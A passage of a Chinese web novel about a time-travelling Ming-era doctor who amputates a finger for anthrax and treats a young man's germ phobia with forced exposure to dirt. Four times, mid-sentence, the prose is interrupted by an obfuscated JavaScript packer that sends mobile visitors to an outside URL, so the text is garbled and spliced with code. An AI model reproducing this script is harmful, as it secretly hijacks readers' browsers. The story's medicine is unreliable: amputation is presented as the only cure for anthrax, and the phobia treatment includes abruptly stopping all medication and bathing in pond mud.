“你们以为我是小题大做?看清楚!”马淳手指猛地用力,将汉子那肿胀发黑的手指抬得更高,“寻常虫咬肿毒,皮色红热,痛在皮肉!”
“他这呢?皮色青紫,深处发黑!皮不热,反发冷!那黑气不是淤血!是……死气!”
死气!
徐辉祖、傅忠、徐增寿齐齐变了脸色。
他们是开国勋贵子弟,自幼习武,经历过战阵。
伤口腐烂化疽、蔓延夺命的事,听说过!
汉子浑身开始发抖,冷汗瞬间浸透后背。
“不……不会的……”他媳妇声音发颤,“就……就一个指头……”
“就一个指头?”马淳冷笑一声,“你们听着!他这患处,中了山里最阴险的‘腐尸毒’!”
“腐尸毒?”汉子老娘尖叫,“俺儿没碰**啊!”
“不是**尸骸的毒!”马淳盯着汉子:“你砍柴那地方,是不是有死的牲口?”
“死的……骡子?”汉子一愣,随即瞪大眼睛:“对!对!是有头死骡子,就在那山涧边上!”
他声音抖得不成样子:“我……我就是没留神,手指头在柴枝上刮了一下,像是……像是蹭着了那死骡子边上的烂泥……”
他老娘和媳妇面如死灰。
“是了!”马淳眼神凌厉。“就是这刮破的小口子,染了那死畜腐烂散出的毒!此毒潜藏于病死的兽类腐肉之中!此毒非寻常草木蛇虫之毒!它能在人血肉之内潜行!”
马淳的手指顺着汉子那黑肿的食指,向上一划,直抵他红肿蔓延到的手腕和隐隐发暗的小臂!
“看!”马淳厉喝。
所有人的目光都死死盯着那皮肤之下。
那青紫色当中,几道狰狞如墨线般的黑痕,正顺着血管的走向,向着手肘的方向爬升!
“毒!毒在往身上走啊!”汉子老娘瘫软在地,嚎啕起来。
汉子也彻底崩溃,牙齿咯咯作响。
“腐尸毒入体,起初不过是细微伤口肿胀发黑。”马淳解释起来,“待这黑线沿血脉深入脏腑;轻则,手足焦黑坏死,肢体尽腐!重则,毒火攻心,神仙难救!暴毙当场!”
汉子的媳妇身体晃了晃。
徐辉祖已皱紧眉头:“姐夫,照你这么说……难道此毒比刀枪之伤还快?”
他是沙场宿将,不太信这无名肿毒就能顷刻间要了壮汉的命。
傅忠也点头。
徐增寿插嘴:“就是!剁了手指头可不是小事!”
马淳目光扫过三人,“寻常疮毒,必有痛感灼热,脓成方知凶险,尚有解救之机。而此腐尸毒!”
他猛地指向汉子开始发灰的嘴唇。
“从伤口微破,毒气入血,便如鬼影附骨!皮肉不热反冷!此乃血肉已死之兆!黑线延展,直通要穴!此乃毒邪循经攻心之象!”
其实就是炭疽。
炭疽的病原体是炭疽芽孢杆菌,是一种革兰氏阳性、能形成芽孢的需氧细菌。
芽孢抵抗力极强,可在土壤等环境中存活数十年,是主要传播形式。
传染源主要来自患病的草食动物(牛、羊、马、骆驼等),其次为猪、狗等。
这些动物的血液、皮**、肉类及被污染土壤均可携带病菌。
人的皮肤上有破口接触到了的话,就可能会感染。
“此刻尚在臂膀!不过一炷香,毒血攻心!”马淳的语气冷酷而精准,“到时,神仙难
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953809|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
救!死路一条!”
汉子娘哇地一声哭出来:“我的儿啊!”
汉子媳妇腿一软,差点栽倒。
汉子自己更是魂飞魄散,看着自己爬向胳膊的黑线,他扑通一声跪倒在地:“神医!神医救命啊!我不想死!我才三十啊!”
徐家兄弟和傅忠也被惊得面无人色。
徐增寿张着嘴,彻底说不出话来。
徐辉祖眼神凝重,他见过不少重伤致死,但那多是刀枪创伤。
这种无声无息、从一个小口蔓延全身的恶毒,实在令人毛骨悚然。
傅忠也倒吸一口凉气。
马淳将汉子从地上拽起来,“截去此指,是唯一生路。趁毒气尚未深入肘臂,尚能保你性命。若再迟疑……这墨线过肘,便是我有心,亦无术可施!你的小命,就真的悬了!”
汉子此刻被死亡的恐惧彻底笼罩。
他看着那青黑冰冷、仿佛不属于自己的手指,再看看身边哭嚎的母亲和摇摇欲坠的妻子。
断指?
还是断命?
这个残酷的选择摆在眼前。
他脸上血色尽褪,嘴唇哆嗦了半天,猛地一咬牙。“剁!剁了它!神医!求您救我!救我啊!”
汉子娘哭声戛然而止,“儿啊!你的指头……”
媳妇却猛地拉住婆婆,脸上还挂着泪,“娘!剁了还能活!活下来就好!活下来比什么都强!”
马淳闻言,不再犹豫,“好!”
他立刻转身,快步走向角落的那个沉重檀木箱。
箱子打开,露出里面分门别类摆放着的精良器械。
手术刀、止血钳、缝合针、线……
在这是他用积分兑换的基础手术器械。
“辉祖,增寿,傅忠!”马淳一边迅速取物一边下令,“劳烦三位稳住患者!按住他的肩膀,让他右臂展开平放于桌!掌心向上!绝不可乱动分毫!”
“大嫂!”他看向汉子媳妇,“去后院井里打盆最凉的干净井水!越多越好!”
“大娘!”他又看向那老妇人,“守在门口,暂时勿让任何人打扰!”
他的指令清晰有力。
徐辉祖反应最快,立刻上前和徐增寿、傅忠一起,按照马淳指示将汉子牢牢按在诊床边的方桌上。
汉子的右手臂被强行摆开,手指那狰狞的黑色更加刺目。
汉子浑身抖得像筛糠,牙齿磕碰,但还是强忍着不敢大动。
汉子媳妇应了一声,疯了似的冲向水井。
老妇人则守到门边,紧张地望着外面。
马淳的动作很快。
他从器械箱中取出专用的剪刀、止血带、几个装着药水的白瓷小瓶。
“夫人!取干净煮过晒干的细麻布!至少三大块!”他又对内室喊了一声。
徐妙云在里面早已听见动静,闻言立刻应声准备。
第173章截肢手术!打了麻药还是疼!
汉子媳妇很快提了满满一大桶冰冷的井水进来。
“放在这里!”马淳一指桌旁地面,“取瓢,冲洗此臂!”
他率先从桶中舀起一瓢冰冷刺骨的井水。
哗啦——
清冽的水流猛地冲刷在那条感染的手臂上。
从肩头到黑指,连续冲刷了三瓢。
汉子打了个哆嗦,但手臂倒没挣扎。
汉子媳妇见状,立刻也舀起井水,学着马淳的样子,不顾冰冷,一遍遍冲洗丈夫手臂靠近伤口的手腕位置。
徐妙云此时也快步出来,将厚厚的、散发着淡淡草药味的干净麻布递给马淳,又另取几块放在旁边备用。
“忍着点,马上就好。”马淳拿起一条宽厚的带子,迅速且牢固地扎在汉子手臂肘弯稍上方处,勒紧!
这是压迫止血带。
接着,他从瓷瓶中倒出深棕色的液体,用一块干净细布蘸透,开始仔细擦拭、冲洗患者整只右手,尤其是发黑肿胀的手指、伤口周围和指根关节。
浓烈的酒味弥漫开来。
这是高度提纯的消毒酒精。
马淳的手法异常专注,确保每一寸可能接触到的皮肤都被仔细处理。
冰冷的酒精接触伤口,刺激得汉子闷哼一声,身体绷紧。
“按稳他!”马淳头也不抬。
徐家三兄弟连忙加大力道。
消毒完毕,马淳没有丝毫犹豫。
他取过一柄锋利的、弧度精巧的小巧柳叶刀。
刀尖闪烁着寒芒。
“现在切断部分痛觉感知。”马淳解释,动作却丝毫不停。
他拿起一支银管针头,迅速刺入汉子手腕处的皮肤下方。
针筒里是半透明的液体。缓缓推注。
这是局麻药物,虽然无法完全消除切割骨骼的剧痛,但能极大地减轻痛苦。
注入药液后,马淳立刻拿起另一个瓷瓶,倒出更多麻药,直接泼洒在汉子黑指根部。
药液迅速浸润皮肤。
做完这一切,马淳再次看向汉子,“眼睛闭上,数二十个数!咬紧牙!一会儿就好!”
汉子此刻如同待宰的羔羊,惊恐万分,却也知道到了最后关头。
他猛地闭上眼,牙关咬得咯咯响,身体绷得像块石头。
徐家兄弟和傅忠也使出吃奶的力气,死死按着他。
马淳不再言语。
他果断俯身,左手精准地捏住汉子中指的第一指节后侧稳定位置。
右手那柄锋利的柳叶刀,精准无比地切入了那青黑色蔓延的最前沿——指根!
位置不偏不倚,正好在第二指节与第一指掌关节之间。
刀锋锐利至极!
嗤——
皮肉应声裂开。
暗红发黑的血瞬间涌出。
马淳的动作没有丝毫停顿,下刀利落无比,切割皮肉、筋膜、血管……
呃啊——!
剧烈的疼痛即使有麻药压制,疼痛刺穿神经。
汉子发出凄厉不似人声的惨嚎,身体猛地向上弹。
“按死!”马淳喝道,手上动作未停半分。
徐辉祖、徐增寿、傅忠三人几乎压上了全身的重量,额头青筋暴起。
汉子媳妇不忍再看,扭过头捂住嘴,泪水无声狂流。
汉子娘在门边听着惨叫,心痛如绞,捶胸顿足。
刀锋触到惨白的指骨。
马淳丢开柳叶刀,闪电般从器械箱中抄起一把小巧却异常厚实的、专门用于截断细骨的骨钳。
卡!
骨钳锋利的咬口,如同铡刀般,狠狠地咬合在食指第一指掌关节的连接处!
咔嚓——!
一声令人头皮发麻的脆响!
连接指骨与掌骨的韧带和剩余软骨瞬间被绞断。
那根青黑色的食指,应声断落,掉在桌上。
“成了!”徐增寿脱口而出,紧绷的神经瞬间一松。
徐辉祖和傅忠也长长吁了口气,但手上不敢放松。
汉子在断指瞬间身体一挺,痛嚎之后是极度脱力的剧烈喘息和抽搐,汗水泪水混成一滩。
马淳看都没看那截断指。
断指一离体,他立刻抓起旁边备好的大块吸水的干净麻布。
噗!
狠狠按压在断指创面上止血!
暗黑带着诡异腥气的血液瞬间浸透了厚布。
马淳双手死死压住出血点,同时飞快解开了肘弯上方的止血带。
骤然解除压迫,创面再次涌出暗红血液。
马淳眼疾手快,用另一块麻布迅速吸掉涌出的血。
在压迫止血的同时,他精准地从翻卷的创面组织里,挑出了几根仍在喷血的微小动脉断端。
止血钳“咔嗒”一声轻响,稳稳夹住,血流顿时大减。
接下来是漫长而精细的清创缝合。
马淳用水(实际上是生理盐水)反复冲洗创口深部,清除任何可能残留的坏死组织和污物。
他挑选出特制的羊肠缝合线和最细的缝针。
针线在他的手指间,如同有了生命。
穿引,拉拢,打结……
动作流畅得如同行云流水。
一针一针,将翻起的皮肉仔细对合、收拢。
创口很大,几乎暴露着被切断的白骨截面,皮肉的翻卷狰狞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964703|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可怖。
但马淳缝得异常细致。
每一针都落在最准确的位置,确保皮瓣有良好的血供。
最终,那骇人的创口被严密地缝合起来。
虽然还有血丝渗出,但整体结构清晰、对合良好。
直到缝好最后一针,剪断缝线,马淳才直起身,长长地、无声地吐出一口浊气。
豆大的汗珠从他的额角滚落,砸在桌面上。
刚才全神贯注地操作,消耗了他极大的精力。
他用一块干净布擦去手上的血迹。
“好了。”马淳的声音带着一丝沙哑。“命保住了。”
这四个字,如同天籁。
汉子猛地睁开布满血丝的眼睛,看向自己光秃秃、包扎着厚厚麻布的手掌。
劫后余生的狂喜混合着剧痛和断指的悲伤,冲击着他。
他喉咙里发出一阵怪异的咕噜声,随即像堤坝崩溃般,放声痛哭起来。
哭声里饱含着委屈、恐惧和后怕。
老娘和媳妇也扑了上来,婆媳二人紧紧抱着劫后余生的儿子/丈夫,嚎啕大哭,鼻涕眼泪糊满了脸。
徐辉祖、徐增寿、傅忠三人这才彻底松开手,感觉双臂都酸麻了。
他们退开几步,看着桌上那截被遗弃的断指。
又看看汉子被细心包扎好的、虽然残缺但生机尚存的右手。
再看向马淳那张汗水浸湿却无比平静坚毅的脸,一股难以言喻的震撼和敬畏,同时在他们的心中升起。
“这……这毒当真如此恐怖?”傅忠心有余悸地看向马淳,指着那断指。
“腐尸恶毒,非同小可。”马淳一边收拾器械,一边回答,言简意赅。“染上一点,便如跗骨之蛆。若不断腕求生,必死无疑。今日算他命大,染毒时间尚短,位置又在指端。”
他示意汉子媳妇扶住丈夫,“莫要哭了。扶他坐到旁边。伤口大,还需服药静养。切记,伤口半月不可沾水!饮食务必清淡!不得沾荤腥发物!”
他迅速写下一张方子,“按此方,连服七日!三碗水煎成一碗!”
马淳将药方递给汉子媳妇。
那媳妇此刻视马淳如神明,双手颤抖着接过药方,连声称谢。
汉子在母亲的搀扶下,终于坐到旁边的椅子上。
虽然断指处痛得钻心,脸色苍白如纸。
他看着自己包扎好的手,又看看马淳,嘴唇蠕动:“谢……谢谢神医救命之恩……”
马淳摆摆手,转身开始清洗收拾那些沾血的手术器械。
【叮!救治炭疽患者,奖励积分20!】
……
第174章重度洁癖患者差点把医馆拆了重洗
医馆刚开门,门外九来了一行人。
当先那人,浑身裹着雪白细布,宽帽檐压住眉眼,只露两片紧抿的唇。
“抬脚。”白布人停在医馆门槛外。
声音隔着布,又闷又冷。
一个粗使仆役立刻蹲下,飞快掀起那人垂落的布袍下摆。
旁边一个穿着细棉衫的仆人掏出袖中卷好的崭新麻布,麻布利落地铺在门槛上。
另一仆役捧着一小钵清水,浸湿布巾。还有一个仆役,拿着湿布巾将那白布包裹的人所踏之处,细细擦拭三遍。
雪白的门槛依旧洁净如初,一尘不染。
白布人这才抬步,脚尖轻轻点在门槛那铺好的新布上,如避沼泽秽土。
那动作极缓,极轻,生怕沾惹一丝微尘。
医馆内瞬间安静了。
柜后抓药的小药童张着嘴,半截甘草悬在手上。
徐妙云刚撩帘出来,手中捧的账本停在胸前。
马淳的视线越过刚清空的桌面,定在那门槛上如履薄冰的白影。
白布人走进医馆正堂。
他站定,裹在布里的头颅缓缓转动,目光扫过粗陶药罐,扫过陈旧微裂的木地板,扫过屋角没完全擦净的积灰处。
马淳轻咳一声:“敢问这位……”
话未出口,便被打断。
白布人突然抬手,指向墙角,“那儿,有灰。”
随行的管家脸上堆起无奈苦笑,他朝后使个眼色。
两个小厮默不作声上前。一人拔开墙角的扫帚,一人提着抹布水桶。
接着医馆里只听见刷刷声和抹布摩擦声。
白布人立在大堂中央,白布袍子裹得严实,目光如锋利的刀片。刮过榆木诊桌上微凹的纹路,定在纹路深处一点几乎看不见的暗迹。
他袖中探出的枯瘦手指又动了动,“擦!”
短促的命令。
管家笑容彻底消失,只剩麻木的疲倦,又一个提桶的小厮冲上去,拿着湿抹布,在桌面上死命搓那微不足道的暗点。
马淳默立一旁。
他药童想上前帮手,被他抬手止住。
徐妙云放下账本,目光在马淳与那白影之间逡巡。
白布人的视线仍在游走,掠过药格侧面,落在高处药柜顶上。
“积尘。”他喉咙里挤出两个字。
管家近乎绝望地闭上眼,挥挥手。
一个体格稍壮的仆人扛来一架矮梯,搭在药柜旁,动作麻利地爬上去,挽起袖子,用湿布将药柜顶寸寸抹过。
尘埃被拂落,白布人僵硬地站着,微微扬头,目光追着那些落下的浮尘,直至它们委顿在地。
“扫干净。”
声音从齿缝里挤出来,带着一种不容任何回旋的尖锐。
先前执扫帚的仆人不敢怠慢,忙不迭将地上的新灰连带未干的擦地水痕一同扫去。
动作大了些,扬起点更细的烟尘,白布下传来一声模糊的抽气声,身影微不可察地向后晃了晃,仿佛被无形的秽气冲击。
管家抢上一步,低声急斥:“作死!轻着点!”
又转向白布人,弯着腰,声音放得又软又轻:“少爷息怒,就干净了,马上就好。”
足足半个时辰时间,整个医馆仿佛被水洗过,木板地湿漉漉地泛着光,药柜顶上纤尘不染,桌案光可鉴人。
徐妙云觉得连空气里那点草药混合灰尘的气味,都稀薄了许多。
白布人终于缓缓吐出一口郁气,紧绷的肩膀稍稍塌下一线。
管家如蒙大赦,也直起腰,揩了揩额角的虚汗。
他朝马淳投来歉然的眼神。
徐妙云这才走到马淳身边,眼中满是难以置信的惊奇。
管家拱手赔礼,声音透着沉沉的疲惫:“马神医,少夫人,莫怪,莫怪。这是我家少爷的……**病了。”
他看了一眼垂手立回原位的白布人,无奈叹气。
“见了但凡感觉不够齐整、不够洁净的地方,他便如骨鲠在喉。定要亲眼看着手下人扫洒干净了,方寸才好稍安。每日在家中,从晨起睁眼,到深夜熄灯。这扫洒、擦拭,少说也需七八趟。府里粗使仆妇,专门伺候洁净的就有六人。”
“出门更是难。”他目光扫过白布人纤尘不染的袍角,“一旦归家,身上所着的无论外袍内衫,哪怕是袜履。哪怕在外只走了一两步,也要立即换下。更换下来的衣物,必得滚水反复煮过,方能再用。若是出门时日稍长归家,不仅要更换衣袍,更需沐浴清洗数次。便是老夫人探望归家,也要如此。”
徐妙云听得惊心动魄。
“这……”她轻轻吸了口气,“岂非步步艰难,寸步难行?”
管家苦笑:“谁说不是。少爷苦不堪言,阖府上下也……”
他摇摇头,没再说下去。
眼中祈盼地望向马淳:“久闻神医妙手,还望您救救我家少爷吧!如此活着,与画地为牢何异!”
马淳一直默然听着,目光始终落在那个裹着白布的瘦削身影上。
此时方微微颔首,脸上看不出太多情绪。
“请坐。”他伸手指向那张刚被擦得光亮的榆木诊桌。
桌面立刻有仆人再次上前,飞快地用崭新白绸重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964704|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新擦拭一遍,确认再无一丝水渍尘埃,白布人这才挪动脚步,小心翼翼,如同行走在利刃边缘。
待他在那圈椅中无比谨慎地坐定,坐姿紧绷,双手交叠于膝上,指尖微蜷,透露出强自抑制的不安。
马淳目光掠过他裹得密实的头颅,“解开帽子,净手。”
白布人身体骤然一僵。
管家忙上前,低语几句,软声劝慰,才小心翼翼地替他将帽檐翻下。
露出的是一张年轻但毫无血色的脸。眼窝深陷,眼珠布满紧张的血丝。嘴唇紧抿成一条失血的线。
一个仆役端来盛满清水的铜盆,水温温热,水中还漂浮着几片新鲜绿叶,散发药草清香。
另一个仆役,捧着一方雪白无瑕的细棉方巾,那人盯着那盆水,喉结上下滚动,似乎想逃避那盆水可能带来的“污染”,但他最终颤抖地伸出手,指尖在触及温热水面时猛地一缩,如此重复数次,才僵硬地将手没入水中。
那动作不像洗手,倒像受刑,反反复复,如同要将皮肤搓掉一层。
终于,他抽回手,立刻有仆人用方巾擦干,指尖上仍有点湿意,他盯着指端,呼吸加重。
管家连忙又递上一块烘烤得干燥温热、散发着阳**味的崭新细棉布。
那人接过布巾,如同对待稀世珍宝,一点点、一遍遍地将指端残留的水汽吸干,直至确认彻底干燥无迹,才将那布巾丢开。
马淳上前,伸出三指,搭在他瘦削的手腕寸关尺处。
指尖传来的脉搏细促如游丝,仿佛被无形的恐惧攥住。
仔细体察,脉象深处又透着微弱却躁动的热结之势。
白布人竭力保持着安**姿,但身体无可抑制地轻颤着。
尤其在马淳的手离开他腕脉之后,他立刻抽回手,死死盯着刚才被指尖搭过的那片皮肤,仿佛那里已经沾染了什么看不见的秽物。
一个端着托盘的仆役如影随形,迅速奉上温热的湿巾,湿巾中浸润着清淡的草药水,那人接过湿巾,发狠地擦拭刚刚诊脉的那处皮肉,直擦得皮肤泛起刺目的红痕。
徐妙云立在药柜后,轻轻拉了下马淳的袖口。
“夫君……他这……”她的声音压得极低,“当真是心病?”
马淳神色沉静如水,目光落在青年依旧焦虑擦拭手腕的动作上,“惧污秽若此,并非仅是心绪不宁。乃内腑阴阳失和,虚火内结。上扰心神,下灼肾精。”
青年擦拭手腕的动作顿住,愕然抬头。
管家急问:“神医!可有方子医治?”
……
第175章以毒攻毒!心病还须心药医!!
医馆里静得能听见呼吸声。
所有人的目光都聚焦在马淳身上,等着他解释这古怪少爷的病症。
马淳解释起来,“此症,古书有载,名为‘不洁恐惧’。非外邪侵体,亦非风寒暑湿。”
管家急切地问:“神医,那是什么?”
青年也紧张地抬起头,死死盯着马淳。
“是心疾。”马淳斩钉截铁。
“心?”管家和青年都愣住了。
“不错。”马淳指向青年不安搅动的手指,“公子视世间尘垢皆为大敌,反复擦拭洗涤,非为洁癖表象,实乃心魔深种。”
他目光转向地上那几块被弃置的、沾了井水汽的布巾,“公子所惧,非尘土本身,乃是心中所构想的‘污秽’幻象。这幻象盘踞心神,日夜不休,才驱使公子反复清扫、擦拭,直至精疲力竭,犹不得安!”
青年身体微微一颤,似被说中痛处。
管家喃喃道:“心……心魔?那该如何医治?”
马淳冷声道:“治心之疾,需破心之障!”
青年手不自觉地又想擦拭被诊脉过的地方。
旁边的仆人立刻递上新的布巾,青年几乎是抢过来,用力地搓着自己的手腕。
马淳静静看着他近乎自虐的行为,没有直接回答管家。
他反而问道:“公子方才一路走来,可曾真正看清这青石板路?路边的野草新芽?春日暖阳?”
青年茫然地抬眼,眼神空洞:“尘土……”
“非也!”马淳打断他。“公子眼中,只余尘土。心中,只余擦拭扫荡之念。那路上的生机,那和煦的阳光,甚至连这擦得锃亮光洁的门槛,在公子心中,也还是不够‘干净’,是么?”
青年浑身剧震。
马淳不等他反驳,猛地转身。
他对管家吩咐,“取一块普通垫门的粗麻布来!”
管家不明所以,但还是立刻示意仆人去找。
很快,一块沾满灰尘、甚至带着些干泥巴、隐约还有几个模糊脚印的脏麻布被送来了。
几个仆人嫌弃地捏着布角,就连徐妙云都忍不住皱了皱眉。
马淳却毫不在意,甚至亲自伸手接过那块脏布。
“拿水瓢来。”
管家连忙照办。
马淳一手拎着那块脏污的粗麻布,一手拿着水瓢。
他走到门槛边那仆人事先铺好的崭新洁白的垫布旁。
那正是青年进门时小心翼翼踩过的“净土”。
青年紧张地盯着马淳手中的脏布。
管家预感不妙,“神医,您这是……”
话音未落!
马淳猛地将那块脏污厚重的麻布,“啪”地一声,直接掼在了那块雪白崭新的垫布中央!
灰尘、污渍、干枯的草屑瞬间蔓延开来,侵染了无瑕的白。
一片狼藉!
“啊——!”一声凄厉的、不似人声的尖叫猛地撕裂了医馆的宁静!
那裹着白布的青年如同触电般从椅子上弹跳起来。
他脸色瞬间惨白如纸,没有一丝血色。
他死死盯着那片被玷污的、他最珍视的“洁净之地”,眼珠凸起,布满惊恐和无法置信的红血丝,仿佛那片污渍正灼伤着他的灵魂。
他浑身剧烈地颤抖,如同风中残烛,喉咙里发出嗬嗬的怪响,却一个字也说不出来。
管家和仆人们也被这突变的景象惊得呆若木鸡。
他们从未见过少爷如此失态惊恐,仿佛天塌地陷。
管家反应过来,心疼地大叫:“少爷!少爷!”
几个仆人就要冲过去重新铺设。
“都别动!”马淳一声断喝,威严顿生。
他目光紧紧锁住那几乎要崩溃的青年。
“看着我!”
青年崩溃的目光下意识地被他吸引。
“看清了么?”马淳指着那片混杂污迹的布,“这就是你心中恐惧的模样!它并非实物!它不过一团尘土,几根枯草!它不会咬你!不会噬你!它仅仅是存在!”
马淳上前一步,逼近那摇摇欲坠的青年,“你看!”
一猛地蹲下身。
在管家和仆人们惊骇的目光下,在青年几乎晕厥的注视下。
他伸出手指没有用任何布巾,直接按在了那片被他掼上去的污渍中心!
手指接触污迹的瞬间,青年几乎窒息。
“呵!”马淳发出一声冷笑。
在所有人惊愕的目光中,他捻了捻那混合着尘土泥巴的手指,然后将沾了些微黑黄污迹的手指展示给青年看。
“看到了么?”马淳的声音冰冷,“我的手,沾到了这你眼中所谓的‘污秽之源’。然后呢?”
他扬起手,手掌对着门外明媚的阳光,微微张合,“‘污秽’伤我了吗?‘污秽’在吞噬我吗?‘污秽’,它杀得**吗?”
青年双目圆睁,看着马淳那双完好无损、甚至在日光下显出健康红润的手掌。
再低头,看着被自己擦拭得发红,快要渗血的手腕皮肤。
一个念头不受控制地升起。
也许……也许神医说的是对的。
管家扑通一声跪倒在地。“神医!救救我家少爷吧!求您了!”
马淳缓缓站直身体,“这病,说难也难,因它根植于心;若说易,亦有一线生机。”
管家急问:“神医!请赐良方!”
马淳伸出三根手指,“其一,停药。”
管家愕然。
马淳继续道:“所有安神定惊之药物,立刻停用!”
青年脸上掠过一丝不安,他日日靠汤药才能稍稍入睡。
“此药只能暂时麻痹,于根除心疾无异!反增脏腑负担!”马淳解释。
管家问:“那其二……”
“其二,”马淳看向青年,“破茧!公子被困心牢。筑牢高墙者,正是公子自己!若要挣脱,唯有亲手拆毁自己筑起的高墙!”
青年身体猛地一抖。
管家难以置信:“拆……拆毁?”
“每日清晨,庭院之中,赤足踩踏地面三息。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969149|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无需擦拭。”马淳丢出第一个“刑具”。
青年猛地倒吸一口冷气,脸色煞白。
“日落时分,亲手触摸庭院树木枝干。不得用布。”
这是第二道酷刑。
青年喉咙里发出一阵痛苦的嗬嗬声。
“晚间沐浴……”马淳顿了顿,“沐浴之水,加入池塘活泥一碗。”
“什么?!”管家失声惊叫,魂飞天外。
池塘活泥?
那些浑浊的、充满水草鱼腥的淤泥?!
呕……青年再也忍耐不住,弯腰剧烈地干呕起来。
“这……这怎么行?”管家都快哭出来了。
“不行?”马淳声音冰冷,“不行,那就继续囚于这裹尸布内!日日与这臆想的污秽为敌!夜夜被无形的恐惧啃噬心神!直至气血耗尽!灯枯油尽!”
“公子!”他的逼问直刺灵魂,“你是要这短暂却污秽不堪的余生?还是要一条虽然沾满泥点,却可以真正看到阳光雨露、花草树木的生路?”
青年被这残酷的选择问得呆住了。
他急促地喘息。
他望着自己裹得严严实实、依旧感觉无比“肮脏”的身体。
又想起马淳那沾了泥土、却依旧平稳有力的手掌。
还有他口中描述的“阳光雨露”、“花草树木”。
那些东西,他似乎已经很久很久不敢真正去看、去感受了。
管家悲声道:“少爷……”
青年死死咬着惨白的下唇。
在死一般的沉寂中,过了仿佛一个世纪之久。
他抬起头,眼神挣扎,却最终凝起一点光芒。
他看向马淳用尽全身力气道:“要!”
管家和仆人们都屏住了呼吸。
“要……”青年眼中闪过一丝泪光,“要……生路……”
管家长长地吐出那口堵在心口的浊气,“谢神医!谢神医指点迷津!”
马淳微微点头,紧绷的脸色稍缓,“其三。寻老农善种者三五人。”
管家茫然不解,“要他们做什么?”
马淳目光深邃,“每日午后,请他们来与公子闲话。聊聊黄土为何能生长禾苗。说说那些你们眼中不堪入目的粪肥,”
青年嘴角不受控制地抽搐了一下。
“……如何滋养一方土地,养育万民。去听!听那泥土之下的生机!闻那生机勃发的味道!”
马淳的目光再次钉在青年脸上,“你惧怕的尘泥,养活了这天下万民,你又凭什么视它为寇仇?!”
最后一句,振聋发聩。
医馆内,一片寂静。
只有青年粗重的呼吸声。
徐妙云站在柜台后,看着丈夫刚毅的侧脸,眼神充满了敬佩。
管家和一众仆人,则如同听天书。
唯独那裹着白布的青年,他眼中凝固多年的恐惧,终于被这一剂剂猛烈的“心药”,搅起了层层涟漪。
【叮!成功诊断重度强迫症(不洁恐惧)患者,并制定治疗策略,奖励积分100!】
第176章吕氏腿刚好一点就想搞鬼!
东宫。
殿内烛火通明,却驱不散深处那沉沉的阴翳。
吕氏斜倚在铺着厚厚软垫的矮榻上。
她的腿,依旧无法自如行走。
伤处的隐痛如同跗骨之蛆,时时提醒她那段黑暗过往的代价。
然而,她的眼神却与这病体形成了刺眼的反差。
那里面没有劫后余生的茫然或惊惶,取而代之的是冰冷。
侍女轻手轻脚地端着汤药进来,“娘娘,该用药了。”
吕氏眼睫未抬,只微微抬了下手,任由侍女将温热的药汁喂到她唇边。
苦涩的味道弥漫开来,她缓缓咽下,眉头都不曾皱一下。
这点苦,比起心头那日夜灼烧的毒火,算得了什么?
汤药能治腿伤,却浇不熄她心中那越燃越旺的恨惧之火。
太医周子良垂手立在一旁,待她用完药,才小心翼翼上前诊脉。
手指搭在吕氏纤细的手腕上片刻。
周太医收回手,面色恭敬,“娘娘脉象虽仍有涩滞,但比前些时日已平和许多。腿伤只需按时用药,安心静养,假以时日,当能恢复如常。”
“如常?”吕氏终于开口,听得周子良心头一跳,“本宫这跛了的腿,还能如常?”
周子良背上渗出冷汗,连忙躬身,“微臣失言!然…然娘娘性命无虞,已是天佑。至于腿脚,日后或能……行走无碍。”
他不敢把话说满。
吕氏扯了扯嘴角,“本宫明白。活着,就是最大的‘天佑’了,对吗?周太医。”
“娘娘福泽深厚。”周太医只敢含糊应道。
殿内重新陷入寂静。
吕氏的目光越过低眉顺眼的周子良,投向殿外那片黑暗中。
那里盘踞着一个名字,一个让她寝食难安、骨鲠在喉的名字——马淳。
他救了自己的命。
也毁掉了自己的健康,更亲手将自己推下神坛。
若非自己尚有太子妃的身份,尚有允炆……她简直不敢想象下场。
